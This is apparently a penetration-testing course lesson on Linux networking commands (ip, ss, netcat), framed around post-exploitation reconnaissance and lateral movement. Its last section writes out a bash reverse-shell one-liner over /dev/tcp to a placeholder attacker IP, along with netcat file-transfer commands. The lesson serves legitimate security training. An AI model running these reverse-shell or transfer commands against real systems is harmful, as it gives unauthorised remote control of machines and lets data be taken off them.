Networking Commands
Linux provides a rich set of networking tools that are essential for both network administration and offensive security work. You will learn to configure network interfaces, analyze connections, trace routes, and use tools like netcat that are fundamental to penetration testing. These commands are used daily by network security professionals and penetration testers.
Learning Objectives — Deep Dive
Each objective below is broken down into plain English so you know exactly what you are learning, why it matters, and what you will be able to do when you are done. Mark each one complete as you work through the lesson.
Examine network configuration
Run 'ip addr' to display all network interfaces and their IP addresses — this replaces the deprecated 'ifconfig' command on modern Linux systems. Run 'ip route' to see the routing table, which shows the default gateway and any static routes. Run 'cat /etc/resolv.conf' to see the configured DNS servers. In a post-exploitation scenario, this information tells you which networks the compromised machine can reach, which is essential for planning lateral movement and pivoting to other network segments.
ip addr && ip route && cat /etc/resolv.confCheck listening services
Run 'ss -tlnp' to list all TCP listening sockets with the process name that owns each one. The -t flag shows TCP only, -l shows listening sockets, -n shows numeric addresses (no DNS resolution), and -p shows the process name. Compare the listening services against what you expect — any service you cannot explain is worth investigating. Run 'ss -ulnp' for UDP services as well. In a privilege escalation scenario, a service listening on localhost (127.0.0.1) that is not accessible from the network may be running as root and exploitable from a low-privilege local account.
ss -tlnpSet up a netcat listener
Run 'nc -lvnp 4444' to start a netcat listener on port 4444. The -l flag puts netcat in listen mode, -v enables verbose output, -n disables DNS resolution, and -p specifies the port. Netcat is often called the 'Swiss Army knife' of networking — it can create TCP/UDP connections, transfer files, and serve as a simple chat server. In penetration testing, netcat listeners are used to catch reverse shells: when an exploit runs on the target, it connects back to your listener and gives you an interactive shell.
nc -lvnp 4444Connect to the listener
Open a second terminal and run 'nc <kali-ip> 4444' to connect to your listener. Anything you type in the connecting terminal will appear in the listening terminal and vice versa — this is a basic netcat chat session. To transfer a file, run 'nc -lvnp 4444 > received.txt' on the listener side and 'nc <kali-ip> 4444 < file.txt' on the sender side. Practice sending a reverse shell: on the listener run 'nc -lvnp 4444', and on another terminal run 'bash -i >& /dev/tcp/<kali-ip>/4444 0>&1' to connect a bash shell to the listener.
nc <kali-ip> 4444